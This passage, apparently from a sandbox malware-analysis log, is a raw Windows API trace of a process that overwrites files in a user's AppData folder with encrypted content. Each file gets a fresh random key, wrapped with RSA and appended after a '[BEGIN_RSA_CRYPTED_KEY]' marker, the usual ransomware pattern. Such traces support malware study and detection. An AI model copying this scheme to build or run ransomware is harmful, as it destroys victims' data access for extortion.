pbBuffer=0x45b234) returned 1 [0210.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\dccc04a3-64f0-4449-b08e-7f2c9a851fe3.up_meta", dwFileAttributes=0x80) returned 1 [0210.682] ReadFile (in: hFile=0x1830, lpBuffer=0x662c40, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0210.683] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.683] WriteFile (in: hFile=0x1830, lpBuffer=0x662ef8*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662ef8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0210.684] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0210.684] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.684] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.684] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.685] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66db88, pcchString=0x2e3f9a8 | out: pszString="lLHH+KMRCO1pNZC05l9+sbZ+mVJgCwMGuxxuj6yR9Ux6k1LWEikY9FM5UBlNRJXT\nVpzWLsLx1QGOSjr5uOxRiCjLMtRPONJElXZ+d19BgK2aBGeIELeuQ+L8uqBQ/mor\n11BkQD+pl4W7Z6p/STIqz9LyqOHyTVUSU8bFv4+OGeo1qQgt2v1LFMe9AA9q3j5o\ntu+9fqVceuocNrVX3kxWUcx0JiGLMkGxHNuiLAA/MkHjXS4GMbr2+rrAL5s+Q5/q\nzivnkO1d76qkKksZEjxJhPE72DTGrEmWcKqf7dGEwWm5+sVdcLXjvvjN9bTc2XYg\ncpV4rWlJ1YhyHALH7CFGkQ==\n", pcchString=0x2e3f9a8) returned 1 [0210.685] WriteFile (in: hFile=0x1830, lpBuffer=0x66db88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66db88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.693] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.694] CloseHandle (hObject=0x1830) returned 1 [0210.729] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.729] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\dccc04a3-64f0-4449-b08e-7f2c9a851fe3.dac3b31e-79f8-4a39-8dbf-fd1a8d3ab006.down_meta", dwFileAttributes=0x80) returned 1 [0210.730] ReadFile (in: hFile=0x1830, lpBuffer=0x65a0e0, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0210.927] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.927] WriteFile (in: hFile=0x1830, lpBuffer=0x65a6b0*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a6b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0210.927] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c4 [0210.927] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.927] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.928] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.928] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66dc00, pcchString=0x2e3f9a8 | out: pszString="Qhr7rFa5L/Y5aV/fDxWXiqDDUIc3hY/bYPrLlRw9sI8+OopCLudTLkkSlSn5XJ4s\n5vHedYJqcxlUeR7rJtVDx+pTPwzE3emxc07SdkVFCw5nENHPePOzsgTm9XFXSLzk\nXdZhWSCqD1VIIIIduRg6ajOP/LYERR1P0bOhm6NPW5MG+WUWdVl75OBEsZywifeZ\nrGmitOCUOiz0zenHBJQT+rJ6sUHE1PDthoxz/sEuv/zRTmFTKNUuF4eZmJjKly3t\nZ7Ru16GjOcfp6ZxLZLB9z0j/zMoybRisNS3OD0jQ1xw1fs/e9VJNnDlxQPINXvw4\nTlCLHIWi9QXGaIJksyDneg==\n", pcchString=0x2e3f9a8) returned 1 [0210.928] WriteFile (in: hFile=0x1830, lpBuffer=0x66dc00*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66dc00*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.929] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.929] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.929] CloseHandle (hObject=0x1830) returned 1 [0210.931] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.931] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d63c62cc-0cff-4737-aa3d-c81b04024c0e.up_meta_body", dwFileAttributes=0x80) returned 1 [0210.931] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0210.931] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.932] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0210.932] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0210.932] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.932] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.933] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.933] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.933] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.933] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d9e0, pcchString=0x2e3f9a8 | out: pszString="/38ME8JzhmsBaQyntlyalbVfELJyG203L9xCNs+YXOa/FknMMLRJeQb/qLXMc+cO\nKGDVFTEKF3jkSKrU7+doe/LUKlG57STYdB9ioF4WxdyhdZjBHvS2bgJ2bOXlRAK/\nboLIAFkMiX/XBbfiecBZAUwym0lLMG7PLOJfrzTZMjrrNVj7+a+A5rPdBRsE5Rc4\nYrEYzJhzvAvniMmPltfzOdCahg1+zC08zP+wjv8aQP4GM3ZUWT4QMKGZSTtKxv/v\n+Anw2N3qbaWbk7SNewm0Fakm2jwcgJjIcXGpC815WD9G2WecVwr9fl5MxT6JUf/U\n8ReUZ1bgy/WNDhBlnj2bOg==\n", pcchString=0x2e3f9a8) returned 1 [0210.933] WriteFile (in: hFile=0x1830, lpBuffer=0x66d9e0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d9e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.934] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.934] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.934] CloseHandle (hObject=0x1830) returned 1 [0210.936] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.936] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d63c62cc-0cff-4737-aa3d-c81b04024c0e.up_meta", dwFileAttributes=0x80) returned 1 [0210.936] ReadFile (in: hFile=0x1830, lpBuffer=0x5815d0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5815d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0210.937] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.937] WriteFile (in: hFile=0x1830, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0210.937] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0210.937] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.937] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.938] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0210.938] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0210.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0210.938] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d9e0, pcchString=0x2e3f9a8 | out: pszString="UoBrZI4B+R/KlAoyFQg6oOkEbYchnRqY/qMwxkiAW6omPOJXhDwJww4QjGCmJQZJ\nO8XzoNfUVCw1M2iHbjuT8zIpXLqX4WbK01914b8Lg4Bcl/PoMMvKSdd+PwNhPiFG\n0h8TJGdPMsvTIF77+TQIIR4Z+sEnP3j/CMAuWxdJ4ZAEQ0hvEzS4rl0+KtwlI8+e\nEQlltGC/nHESCFaYk6JIJdtP6yD72+uV34HND89ZcrymehiDnM4xjP2AmW8YkvX4\noK7WpmEoZ0DVK9TsLBIgCTlF7/+DAW9MbHPLiWQeQrFWmV342EBmZXGNFEGV0rxO\nLPIY7z37vU2lPT+SqOWGhw==\n", pcchString=0x2e3f9a8) returned 1 [0210.938] WriteFile (in: hFile=0x1830, lpBuffer=0x66d9e0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d9e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0210.939] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0210.939] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0210.940] CloseHandle (hObject=0x1830) returned 1 [0210.942] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0210.942] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d63c62cc-0cff-4737-aa3d-c81b04024c0e.ea3bcaa3-50dd-4c97-8fb4-bbe3218f2ed7.down_meta", dwFileAttributes=0x80) returned 1 [0210.942] ReadFile (in: hFile=0x1830, lpBuffer=0x66da58, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66da58*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0211.117] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.117] WriteFile (in: hFile=0x1830, lpBuffer=0x65a0e0*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0211.117] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c0 [0211.117] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.117] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.118] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.118] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.118] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.119] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66da58, pcchString=0x2e3f9a8 | out: pszString="4uWN7mgBlxsAVo0voH9Fk/lXInZEpq75mwo0ApmUFAdkM5QJSNorOfX/j7y+XLtm\nQ/96DhMhESaPuw6JAyey4paJ+l/bqt3u8R4FQSyUbTaWV+R9GS3iOnXwG8tq8rZD\nzQl1MD+qjWU7QigJpMKKhnLv/fj6AkEaF7sZ4lf2hEFzind9lMtECCpGjMzsbaYX\nNg0aK14DzzuIQtaOyhs/jQJKTLSmrTa2z+hbHrMJ1Jg7q7YTC2xZMmP19BIJOFrv\np/pXCv/Gm0aBlIqbIIHBbuZ0+N+O8/1BMv9LkdObzvkj0TJXmFd+VxdNFJJOMfWJ\ncLjBquTJODgtSRPLjdl8Gg==\n", pcchString=0x2e3f9a8) returned 1 [0211.119] WriteFile (in: hFile=0x1830, lpBuffer=0x66da58*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66da58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.119] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.119] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.119] CloseHandle (hObject=0x1830) returned 1 [0211.121] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.121] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d3c37a73-91a0-406c-89cb-164b23a60cc7.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.121] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.122] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.122] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.122] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.122] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.122] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.123] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.123] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.123] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.123] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d838, pcchString=0x2e3f9a8 | out: pszString="I/z+0AKxKrc6YLW4uCaaMI1RFtfJszmEXLg7OOiOMN7PIChE/i0CUfxBx0fLxx/I\n3p6hwtgQRWnu6kmvSiAylh3rLUs5IeFB2j+tqHkORp7F6NJMyxeZ9IK4nG3psyVj\ndwcAnPZpyAjRVggbvC2CrsmxW7K9XtIxkHrIfcBnpFrYAJU34DGDKoPQslT8lyfW\nwtq/xSWDQVWN7jhLKNuMuZtcjcP21i2HGBT9FFXZyRF4NrR7RL/S1tu9tsm8h7Iq\n0IVx0cPeTxmKNFoIhuUNdkVCiLr4NnpZeBDE1A5nshooekBV/K+0H9cpVREAUIIl\ndf2cuoGVmi6T8HZ8YEmwbw==\n", pcchString=0x2e3f9a8) returned 1 [0211.123] WriteFile (in: hFile=0x1830, lpBuffer=0x66d838*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d838*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.124] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.124] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.124] CloseHandle (hObject=0x1830) returned 1 [0211.125] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.126] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\d3c37a73-91a0-406c-89cb-164b23a60cc7.up_meta", dwFileAttributes=0x80) returned 1 [0211.126] ReadFile (in: hFile=0x1830, lpBuffer=0x661f90, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661f90*, lpNumberOfBytesRead=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.127] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.127] WriteFile (in: hFile=0x1830, lpBuffer=0x662c40*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662c40*, lpNumberOfBytesWritten=0x2e3f9b4*=0xda, lpOverlapped=0x0) returned 1 [0211.128] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xda [0211.128] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.128] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.128] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.128] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.128] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.128] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d838, pcchString=0x2e3f9a8 | out: pszString="z8N3raa1QSNFI8VWWv/WQqzLk4lRmeHvqms1PPynIYKpUdSRs/VkptC1Lf9W4dtY\nBCeDjtA9Py1naV15iGNle6PCXwM/zyPtzkZLucERR9dQmAL6rcaQFmQd4Oxgr0U/\nvuKLywKC+P9AYTKCFeoAy4vIKRcpZfa1xb2J9CAltpEnUpRPh1QuNFHll0OlV4oO\nRuEC0BWQo2cLl83rZhATJBr3PfKDViXLBlbtqfmAvhPXLuGyfGcSZadf+qlENNse\n7joKHPB/R2lY6QwX1c0TpqxcKFi9lhBn0HOq/3dlB8reKZWVVj3J9DVslXJSDeKg\nIK0BdgTOZuL3nUJBRdHqnA==\n", pcchString=0x2e3f9a8) returned 1 [0211.128] WriteFile (in: hFile=0x1830, lpBuffer=0x66d838*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d838*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.129] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.129] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, 